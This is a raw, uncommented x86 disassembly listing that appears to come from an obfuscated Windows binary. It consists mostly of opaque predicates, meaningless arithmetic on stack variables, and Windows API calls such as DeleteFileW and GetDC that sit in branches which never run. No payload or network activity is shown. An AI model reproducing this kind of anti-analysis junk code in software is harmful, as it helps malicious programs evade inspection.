shl eax, 0
mov eax, dword [ebp + eax - 0x1d94]
cmp dword [ebp - 0x1ca8], eax
jge 0x47618d
mov dword [ebp - 0x2348], 1
jmp 0x476194
and dword [ebp - 0x2348], 0
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0x2c8c], eax
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x2c94], eax
or eax, 0xffffffff
je 0x4761ba
cmp dword [ebp - 0x298], 0
jne 0x4761cc
cmp dword [ebp - 0xa44], 0
jne 0x4761cc
and dword [ebp - 0x2350], 0
jmp 0x4761d6
mov dword [ebp - 0x2350], 1
mov eax, 0x2e7baa9d
test eax, eax
je 0x4761f4
mov eax, 0x7d8eb7bf
test eax, eax
je 0x4761f4
mov dword [ebp - 0xccc], 1
jmp 0x4761fb
and dword [ebp - 0xccc], 0
mov eax, dword [ebp - 0xcd4]
cmp dword [ebp - 0xccc], eax
je 0x476225
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x30f0], 0
je 0x476225
mov dword [ebp - 0x1cb0], 1
jmp 0x47622c
and dword [ebp - 0x1cb0], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x30f0]
cmp dword [ebp - 0x1cb0], eax
jg 0x47624d
mov dword [ebp - 0x23f8], 1
jmp 0x476254
and dword [ebp - 0x23f8], 0
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x2c9c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1d94]
mov dword [ebp - 0x2ca4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x964], 0
je 0x476294
xor eax, eax
inc eax
je 0x476294
mov dword [ebp - 0x1cb8], 1
jmp 0x47629b
and dword [ebp - 0x1cb8], 0
mov eax, dword [ebp - 0xcd4]
add eax, dword [ebp - 0x1cb8]
mov dword [ebp - 0xcdc], eax
mov eax, dword [ebp - 0xcdc]
add eax, 0xffff
cmp eax, dword [ebp - 0xa44]
jle 0x4762cc
mov dword [ebp - 0x1cc0], 1
jmp 0x4762d3
and dword [ebp - 0x1cc0], 0
mov eax, dword [ebp - 0x420]
cmp dword [ebp - 0x1cc0], eax
jle 0x4762ed
mov dword [ebp - 0xce4], 1
jmp 0x4762f4
and dword [ebp - 0xce4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x964]
add eax, dword [ebp - 0xce4]
je 0x476315
mov dword [ebp - 0x1cc8], 1
jmp 0x47631c
and dword [ebp - 0x1cc8], 0
cmp dword [ebp - 0x1cc8], 0x2708
jl 0x476334
mov dword [ebp - 0xcec], 1
jmp 0x47633b
and dword [ebp - 0xcec], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1d94]
imul eax, dword [ebp - 0xcec]
dec eax
dec eax
je 0x476368
cmp dword [ebp - 0xa44], 0
je 0x476368
mov dword [ebp - 0x1cd0], 1
jmp 0x47636f
and dword [ebp - 0x1cd0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1cd0]
mov dword [ebp + eax - 0x964], ecx
jmp 0x47607b
mov dword [ebp - 0x7e4], 0x1824a8c6
mov dword [ebp - 0x7e4], 0x1b
jmp 0x4763aa
mov eax, dword [ebp - 0x7e4]
inc eax
mov dword [ebp - 0x7e4], eax
cmp dword [ebp - 0x7e4], 0x1d
jl 0x4763d5
mov dword [ebp - 0x2400], 0x137b
mov dword [ebp - 0x2408], 0x82a1836c
mov eax, dword [ebp - 0x2400]
mov dword [ebp - 0x2408], eax
jmp 0x47639d
mov byte [ebp - 0x2d1], 0
movzx eax, byte [ebp - 0x2d1]
test eax, eax
je 0x47640b
push 0x2692
push 0
push 0
push 0x1e85
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov dword [ebp - 0x4d4], 0xfffffffc
mov dword [ebp - 0x2418], 0xfb5d
mov dword [ebp - 0xd0c], 0xfffffff9
mov dword [ebp - 0x61c], 0
jmp 0x476442
mov eax, dword [ebp - 0x61c]
inc eax
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 1
jge 0x47645e
mov eax, dword [ebp - 0x61c]
mov dword [ebp + eax*4 - 0x2410], 0xcc895931
jmp 0x476435
mov dword [ebp - 0x4d4], 4
jmp 0x476477
mov eax, dword [ebp - 0x4d4]
dec eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 0xffffffea
jge 0x4765d0
mov dword [ebp - 0x260], 0xf5872d9e
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x2cac], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x2cb4], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x2cbc], eax
xor eax, eax
jne 0x4764c8
cmp dword [ebp - 0x260], 0
jne 0x4764c8
and dword [ebp - 0xcf4], 0
jmp 0x4764d2
mov dword [ebp - 0xcf4], 1
mov eax, dword [ebp - 0x4d4]
imul eax, dword [ebp - 0xcf4]
sub eax, dword [ebp - 0x260]
cmp eax, dword [ebp - 0x260]
jne 0x4764f9
mov dword [ebp - 0x1cd8], 1
jmp 0x476500
and dword [ebp - 0x1cd8], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2410], 0xc345fe46
cmp dword [ebp - 0x1cd8], 0xc345fe46
jg 0x476529
mov dword [ebp - 0xcfc], 1
jmp 0x476530
and dword [ebp - 0xcfc], 0
mov eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0xcfc]
sub ecx, 0xb470
add eax, ecx
add eax, dword [ebp - 0x2418]
cmp eax, dword [ebp - 0x260]
je 0x47655e
mov dword [ebp - 0x1ce0], 1
jmp 0x476565
and dword [ebp - 0x1ce0], 0
cmp dword [ebp - 0x1ce0], 0x37d45db3
je 0x47657d
mov dword [ebp - 0xd04], 1
jmp 0x476584
and dword [ebp - 0xd04], 0
mov eax, dword [ebp - 0xd0c]
cmp dword [ebp - 0xd04], eax
je 0x47659e
mov dword [ebp - 0x1ce8], 1
jmp 0x4765a5
and dword [ebp - 0x1ce8], 0
mov eax, dword [ebp - 0x1ce8]
mov dword [ebp - 0xd0c], eax
mov byte [ebp - 0x2d3], 0
movzx eax, byte [ebp - 0x2d3]
test eax, eax
je 0x4765cb
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x47646a
mov byte [ebp - 0x2d5], 0
movzx eax, byte [ebp - 0x2d5]
test eax, eax
je 0x476607
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0xc03
push 0x97f
push 0x17f5
push 0x8c3
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
mov dword [ebp - 0xda4], 1
mov dword [ebp - 0x624], 0x2579
mov dword [ebp - 0x1ef8], 0
mov dword [ebp - 0x2cc4], 0xad5a519d
mov dword [ebp - 0x2428], 0x69b2e414
mov dword [ebp - 0xa4c], 0xfffffffa
mov dword [ebp - 0x1d00], 2
mov dword [ebp - 0x2ccc], 0xfffffff7
mov dword [ebp - 0x974], 0x2065c829
mov dword [ebp - 0x1eec], 0xf888c55
mov dword [ebp - 0xaf0], 0x4468
mov dword [ebp - 0x2cd4], 0x13e0ca2c
mov dword [ebp - 0x1ef4], 0
mov dword [ebp - 0x48], 0
jmp 0x476699
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x4766af
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x1e4c], 6
jmp 0x476692
mov dword [ebp - 0x48], 0
jmp 0x4766bf
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x4766d5
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x96c], 0xfffffffc
jmp 0x4766b8
mov dword [ebp - 0x48], 0
jmp 0x4766e5
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x4766fb
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x21b4], 0xadda102f
jmp 0x4766de
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x2cdc], eax
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x2ce4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x96c]
dec eax
mov dword [ebp - 0x2420], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2420]
mov dword [ebp + eax - 0x96c], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1e4c]
mov dword [ebp - 0x974], eax
mov eax, dword [ebp - 0x974]
sub eax, dword [ebp - 0x2428]
mov ecx, dword [ebp - 0x624]
add ecx, eax
cmp ecx, 0x9c1464f1
jne 0x476775
mov dword [ebp - 0x2140], 1
jmp 0x47677c
and dword [ebp - 0x2140], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1e4c]
cmp dword [ebp - 0xaf0], eax
jge 0x47679d
mov dword [ebp - 0x1cf0], 1
jmp 0x4767a4
and dword [ebp - 0x1cf0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e4c]
imul eax, dword [ebp - 0x1cf0]
cmp eax, dword [ebp - 0x1ef8]
je 0x4767cc
mov dword [ebp - 0xd14], 1
jmp 0x4767d3
and dword [ebp - 0xd14], 0
cmp dword [ebp - 0xd14], 1
je 0x4767e8
mov dword [ebp - 0x1cf8], 1
jmp 0x4767ef
and dword [ebp - 0x1cf8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1e4c]
cmp dword [ebp - 0x1cf8], eax
jg 0x476810
mov dword [ebp - 0xd1c], 1
jmp 0x476817
and dword [ebp - 0xd1c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xd1c]
mov dword [ebp + eax - 0x1e4c], ecx
xor eax, eax
inc eax
sub eax, dword [ebp - 0xaf0]
add eax, dword [ebp - 0x1eec]
cmp eax, dword [ebp - 0xaf0]
je 0x4768e9
xor eax, eax
inc eax
je 0x4768e9
mov dword [ebp - 0x2cec], 0x9f93b76f
mov dword [ebp - 0x2cf4], 5
mov dword [ebp - 0x2cfc], 0xfffffff7
mov dword [ebp - 0x2d04], 0
mov dword [ebp - 0x2d0c], 1
mov dword [ebp - 0x2d14], 7
mov dword [ebp - 0x2d1c], 7
mov dword [ebp - 0x7ec], 0
jmp 0x4768ad
cmp dword [ebp - 0x7ec], 2
jge 0x4768c9
mov eax, dword [ebp - 0x7ec]
mov dword [ebp + eax*4 - 0x3348], 1
jmp 0x4768a0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21b4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x21b4], eax
jmp 0x476b38
mov dword [ebp - 0x288], 0xc99c4db7
mov dword [ebp - 0x468], 3
mov dword [ebp - 0xd4c], 0xffffffff
mov dword [ebp - 0x21fc], 0x21f8
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x1d00], eax
mov eax, dword [ebp - 0x1d00]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x288], 0
je 0x4769a8
mov eax, dword [ebp - 0x468]
cmp dword [ebp - 0xa4c], eax
jg 0x47694c
mov dword [ebp - 0xd24], 1
jmp 0x476953
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0x468]
cmp dword [ebp - 0xd24], eax
je 0x47697d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1e4c], 0
je 0x47697d
and dword [ebp - 0x1d08], 0
mov eax, dword [ebp - 0x1d08]
add eax, 0x9b86
sub eax, dword [ebp - 0x288]
je 0x4769a8
and dword [ebp - 0xd2c], 0
cmp dword [ebp - 0xd2c], 0xb4aa
jne 0x4769c7
mov dword [ebp - 0x225c], 1
jmp 0x4769ce
and dword [ebp - 0x225c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x96c]
mov dword [ebp - 0x2d24], eax
mov eax, dword [ebp - 0x1ef4]
mov dword [ebp - 0x2d2c], eax
mov eax, dword [ebp - 0x288]
cmp dword [ebp - 0x288], eax
jl 0x476a07
mov dword [ebp - 0x1d10], 1
jmp 0x476a0e
and dword [ebp - 0x1d10], 0
mov eax, dword [ebp - 0x288]
cmp dword [ebp - 0x1d10], eax
jl 0x476a28
cmp dword [ebp + 8], 1
jne 0x489617
mov dword [ebp - 0x29d0], 0x4e2db58e
mov dword [ebp - 0x2da0], 1
mov dword [ebp - 0x29d8], 0x5a9576c3
mov dword [ebp - 0x2e64], 0x41b66baf
mov dword [ebp - 0x29e0], 0xad8530de
mov dword [ebp - 0x2db0], 0x73948b08
mov dword [ebp - 0xd68], 0xfffffffb
mov dword [ebp - 0x1a8], 0
jmp 0x480cb8
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 2
jge 0x480cd4
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0x25d4], 0x29bf39
jmp 0x480cab
mov dword [ebp - 0x1a8], 0
jmp 0x480ced
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 1
jge 0x480d09
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0x29e8], 0x1ba028ea
jmp 0x480ce0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x25d4]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x25d4], eax
mov eax, dword [ebp - 0xd68]
inc eax
mov dword [ebp - 0xd68], eax
mov dword [ebp - 0x8d4], 0x38884515
mov dword [ebp - 0x384], 0xfba22e97
mov dword [ebp - 0x798], 0x3f36a5b5
mov dword [ebp - 0x104], 0x1094d0e8
mov dword [ebp - 0xd64], 0xb5a26cde
mov dword [ebp - 0x434], 0x389fa183
mov dword [ebp - 0x7b0], 0xb6d700d1
mov dword [ebp - 0x43c], 0x4fc37f20
mov dword [ebp - 0x2440], 0xf94ad8a0
mov dword [ebp - 0x874], 0xbda3
mov dword [ebp - 0x904], 0
jmp 0x480dae
mov eax, dword [ebp - 0x904]
inc eax
mov dword [ebp - 0x904], eax
cmp dword [ebp - 0x904], 2
jge 0x480dca
mov eax, dword [ebp - 0x904]
mov dword [ebp + eax*4 - 0x4b4], 0x1b0c
jmp 0x480da1
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x4b4]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x4b4]
jg 0x480e05
mov dword [ebp - 0xd78], 1
jmp 0x480e0c
and dword [ebp - 0xd78], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4b4]
cmp dword [ebp - 0xd78], eax
jge 0x480e2d
mov dword [ebp - 0xd80], 1
jmp 0x480e34
and dword [ebp - 0xd80], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b4]
imul eax, dword [ebp - 0xd80]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x4b4]
jge 0x480e63
mov dword [ebp - 0xd88], 1
jmp 0x480e6a
and dword [ebp - 0xd88], 0
mov eax, dword [ebp - 0x384]
imul eax, dword [ebp - 0xd88]
mov dword [ebp - 0x798], eax
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
je 0x480ea7
cmp dword [ebp - 0x798], 0
je 0x480ea7
mov dword [ebp - 0x22e4], 1
jmp 0x480eae
and dword [ebp - 0x22e4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b4]
mov dword [ebp - 0x2e6c], eax
cmp dword [ebp - 0x384], 0x731e
jle 0x480ed9
mov dword [ebp - 0xd90], 1
jmp 0x480ee0
and dword [ebp - 0xd90], 0
cmp dword [ebp - 0xd90], 0xffff
je 0x480ef8
mov dword [ebp - 0xd98], 1
jmp 0x480eff
and dword [ebp - 0xd98], 0
mov eax, dword [ebp - 0xd98]
mov dword [ebp - 0xd64], eax
mov eax, dword [ebp - 0xd64]
mov dword [ebp - 0x29f0], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x4b4]
cmp dword [ebp + eax - 0x4b4], ecx
jge 0x480f48
cmp dword [ebp - 0x798], 0
je 0x480f48
mov dword [ebp - 0xda8], 1
jmp 0x480f4f
and dword [ebp - 0xda8], 0
cmp dword [ebp - 0xda8], 0xb7215766
je 0x480f67
mov dword [ebp - 0xd60], 1
jmp 0x480f6e
and dword [ebp - 0xd60], 0
cmp dword [ebp - 0xd60], 0xfffffffd
jl 0x480f83
mov dword [ebp - 0xdb8], 1
jmp 0x480f8a
and dword [ebp - 0xdb8], 0
cmp dword [ebp - 0xdb8], 0x576c
jl 0x480fa2
mov dword [ebp - 0x20cc], 1
jmp 0x480fa9
and dword [ebp - 0x20cc], 0
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x2dc0], eax
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x29f8], eax
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x2e74], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b4]
mov dword [ebp - 0x2a00], eax
mov eax, 0xfffb
test eax, eax
je 0x480ffe
cmp dword [ebp - 0x384], 0
je 0x480ffe
mov dword [ebp - 0xdc0], 1
jmp 0x481005
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0xdc0]
mov dword [ebp - 0x7b0], eax
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 0x434]
sub eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0x2440]
jge 0x4811f0
mov dword [ebp - 0x980], 0x8af3
mov dword [ebp - 0x20d4], 8
mov byte [ebp - 0x403], 0
movzx eax, byte [ebp - 0x403]
test eax, eax
je 0x481071
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x4b4], 0
jne 0x481127
mov eax, dword [ebp - 0x874]
cmp dword [ebp - 0x874], eax
jne 0x48109f
mov dword [ebp - 0xdc8], 1
jmp 0x4810a6
and dword [ebp - 0xdc8], 0
mov eax, dword [ebp - 0x980]
cmp dword [ebp - 0xdc8], eax
jle 0x4810c0
mov dword [ebp - 0xdd0], 1
jmp 0x4810c7
and dword [ebp - 0xdd0], 0
mov eax, dword [ebp - 0x980]
imul eax, dword [ebp - 0xdd0]
cmp eax, 9
jbe 0x4810e5
mov dword [ebp - 0xdd8], 1
jmp 0x4810ec
and dword [ebp - 0xdd8], 0
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0xdd8], eax
je 0x481106
mov dword [ebp - 0xde0], 1
jmp 0x48110d
and dword [ebp - 0xde0], 0
mov eax, dword [ebp - 0x434]
add eax, 3
cmp eax, dword [ebp - 0xde0]
jne 0x481127
and dword [ebp - 0xde8], 0
jmp 0x481131
mov dword [ebp - 0xde8], 1
mov eax, dword [ebp - 0xde8]
sub eax, dword [ebp - 0x980]
jne 0x48114b
mov dword [ebp - 0xdf0], 1
jmp 0x481152
and dword [ebp - 0xdf0], 0
mov eax, dword [ebp - 0xdf0]
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0
je 0x481177
xor eax, eax
je 0x481177
mov dword [ebp - 0xdf8], 1
jmp 0x48117e
and dword [ebp - 0xdf8], 0
imul eax, dword [ebp - 0xdf8], 0
cmp eax, 0xbc79a46b
jb 0x481198
mov dword [ebp - 0xe00], 1
jmp 0x48119f
and dword [ebp - 0xe00], 0
cmp dword [ebp - 0xe00], 0xd8edce5f
ja 0x4811b7
mov dword [ebp - 0xe08], 1
jmp 0x4811be
and dword [ebp - 0xe08], 0
mov eax, dword [ebp - 0x20d4]
cmp dword [ebp - 0xe08], eax
jge 0x4811d8
mov dword [ebp - 0xe10], 1
jmp 0x4811df
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0xe10]
mov dword [ebp - 0x7b0], eax
jmp 0x48130c
mov dword [ebp - 0x22ec], 0xffffffff
mov dword [ebp - 0x86c], 0
jmp 0x481213
mov eax, dword [ebp - 0x86c]
inc eax
mov dword [ebp - 0x86c], eax
cmp dword [ebp - 0x86c], 1
jge 0x48122f
mov eax, dword [ebp - 0x86c]
mov dword [ebp + eax*4 - 0x4c8], 0xfffffffd
jmp 0x481206
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0xadd7
jne 0x481255
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4c8], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x4c8]
add ecx, 0x9d6d
cmp dword [ebp + eax - 0x4c8], ecx
jle 0x481283
mov dword [ebp - 0xe18], 1
jmp 0x48128a
and dword [ebp - 0xe18], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c8]
cmp dword [ebp - 0xe18], eax
je 0x4812ab
mov dword [ebp - 0xe20], 1
jmp 0x4812b2
and dword [ebp - 0xe20], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c8]
cmp eax, dword [ebp - 0xe20]
jl 0x4812d3
mov dword [ebp - 0xe28], 1
jmp 0x4812da
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0x874]
add eax, dword [ebp - 0xe28]
cmp eax, 0x70f8
jle 0x4812f9
mov dword [ebp - 0xe30], 1
jmp 0x481300
and dword [ebp - 0xe30], 0
mov eax, dword [ebp - 0xe30]
mov dword [ebp - 0x22ec], eax
mov dword [ebp - 0x104], 0
jmp 0x481325
mov eax, dword [ebp - 0x104]
dec eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xffffffe7
jne 0x481521
mov dword [ebp - 0x7a0], 0
jmp 0x48134b
mov eax, dword [ebp - 0x7a0]
inc eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 1
jge 0x481367
mov eax, dword [ebp - 0x7a0]
mov dword [ebp + eax*4 - 0x7a8], 0
jmp 0x48133e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7a8]
mov dword [ebp - 0x2dd0], eax
cmp dword [ebp - 0x104], 0x70c77b72
je 0x481392
mov dword [ebp - 0xe38], 1
jmp 0x481399
and dword [ebp - 0xe38], 0
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0xe38], eax
jl 0x4813b3
mov dword [ebp - 0xe40], 1
jmp 0x4813ba
and dword [ebp - 0xe40], 0
cmp dword [ebp - 0xe40], 0xfffffffb
jbe 0x4813cf
mov dword [ebp - 0xe48], 1
jmp 0x4813d6
and dword [ebp - 0xe48], 0
mov eax, dword [ebp - 0x8d4]
cmp dword [ebp - 0xe48], eax
jg 0x4813f0
mov dword [ebp - 0xe50], 1
jmp 0x4813f7
and dword [ebp - 0xe50], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7a8]
imul eax, dword [ebp - 0xe50]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x7a8]
jge 0x481426
mov dword [ebp - 0xe58], 1
jmp 0x48142d
and dword [ebp - 0xe58], 0
cmp dword [ebp - 0xe58], 6
jae 0x481442
mov dword [ebp - 0xe60], 1
jmp 0x481449
and dword [ebp - 0xe60], 0
cmp dword [ebp - 0xe60], 0xf817
jg 0x481461
mov dword [ebp - 0xe68], 1
jmp 0x481468
and dword [ebp - 0xe68], 0
mov eax, dword [ebp - 0xe68]
neg eax
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x4b4]
jg 0x48148b
mov dword [ebp - 0xe70], 1
jmp 0x481492
and dword [ebp - 0xe70], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7a8]
add eax, dword [ebp - 0xe70]
cmp dword [ebp - 0x104], eax
jl 0x4814b9
mov dword [ebp - 0xe78], 1
jmp 0x4814c0
and dword [ebp - 0xe78], 0
mov eax, dword [ebp - 0x874]
cmp dword [ebp - 0xe78], eax
je 0x4814da
mov dword [ebp - 0xe80], 1
jmp 0x4814e1
and dword [ebp - 0xe80], 0
mov eax, dword [ebp - 0xe80]
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0
jne 0x4814fd
cmp dword [ebp - 0x104], 0
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x2a08], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b4]
mov dword [ebp - 0x7b0], eax
jmp 0x481318
mov dword [ebp - 0xe88], 0
mov dword [ebp - 0x58], 0
jmp 0x48153b
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x481551
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x92c], 3
jmp 0x481534
mov dword [ebp - 0x58], 0
jmp 0x481561
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x481577
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x3254], 0x74c38b6b
jmp 0x48155a
mov dword [ebp - 0x58], 0
jmp 0x481587
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x48159d
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x20dc], 2
jmp 0x481580
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x92c]
mov dword [ebp - 0x2e7c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x92c]
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0xe88]
mov dword [ebp - 0x2a10], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x92c]
add eax, 0xe8f2
cmp eax, 9
jl 0x4815f2
mov dword [ebp - 0xe90], 1
jmp 0x4815f9
and dword [ebp - 0xe90], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x92c]
cmp dword [ebp - 0xe90], eax
jne 0x48161a
mov dword [ebp - 0x988], 1
jmp 0x481621
and dword [ebp - 0x988], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x988]
mov dword [ebp + eax - 0x3254], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x988]
mov dword [ebp + eax - 0x20dc], ecx
mov dword [ebp - 0x4e0], 0xfffa
mov dword [ebp - 0x218], 8
mov dword [ebp - 0x7b8], 0
jmp 0x481674
mov eax, dword [ebp - 0x7b8]
inc eax
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 1
jge 0x481690
mov eax, dword [ebp - 0x7b8]
mov dword [ebp + eax*4 - 0x990], 0xc204e2db
jmp 0x481667
mov dword [ebp - 0x218], 0
jmp 0x4816a9
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jl 0x4816ce
mov byte [ebp - 0x2da], 0
movzx eax, byte [ebp - 0x2da]
test eax, eax
je 0x4816cc
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
jmp 0x48169c
mov dword [ebp - 0x218], 0
jmp 0x4816e7
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jl 0x481842
mov dword [ebp - 0x38c], 0x1220985a
mov dword [ebp - 0x23d4], 0xb719d872
mov dword [ebp - 0x22f4], 0xc1094d0e
mov dword [ebp - 0x38c], 0
jmp 0x48172b
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0
jg 0x48183d
mov dword [ebp - 0x87c], 5
mov dword [ebp - 0x20ec], 0xfffffffc
mov dword [ebp - 0x87c], 0
jmp 0x481765
mov eax, dword [ebp - 0x87c]
inc eax
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], 0
jg 0x481838
mov eax, dword [ebp - 0x218]
cmp dword [ebp + eax*4 - 0x990], 0
je 0x4817b2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x990], 1
jg 0x48179e
mov dword [ebp - 0xe98], 1
jmp 0x4817a5
and dword [ebp - 0xe98], 0
mov eax, dword [ebp - 0xe98]
add eax, 0xfff8
jne 0x4817d4
cmp dword [ebp - 0x23d4], 0
jne 0x4817d4
mov eax, dword [ebp - 0x38c]
cmp dword [ebp + eax*4 - 0x990], 0
jne 0x4817d4
and dword [ebp - 0x20e4], 0
jmp 0x4817de
mov dword [ebp - 0x20e4], 1
mov eax, dword [ebp - 0x38c]
imul eax, dword [ebp - 0x38c]
cmp eax, dword [ebp - 0x22f4]
jl 0x4817ff
mov dword [ebp - 0xea0], 1
jmp 0x481806
and dword [ebp - 0xea0], 0
cmp dword [ebp - 0xea0], 0xffffffff
jne 0x48181b
mov dword [ebp - 0xea8], 1
jmp 0x481822
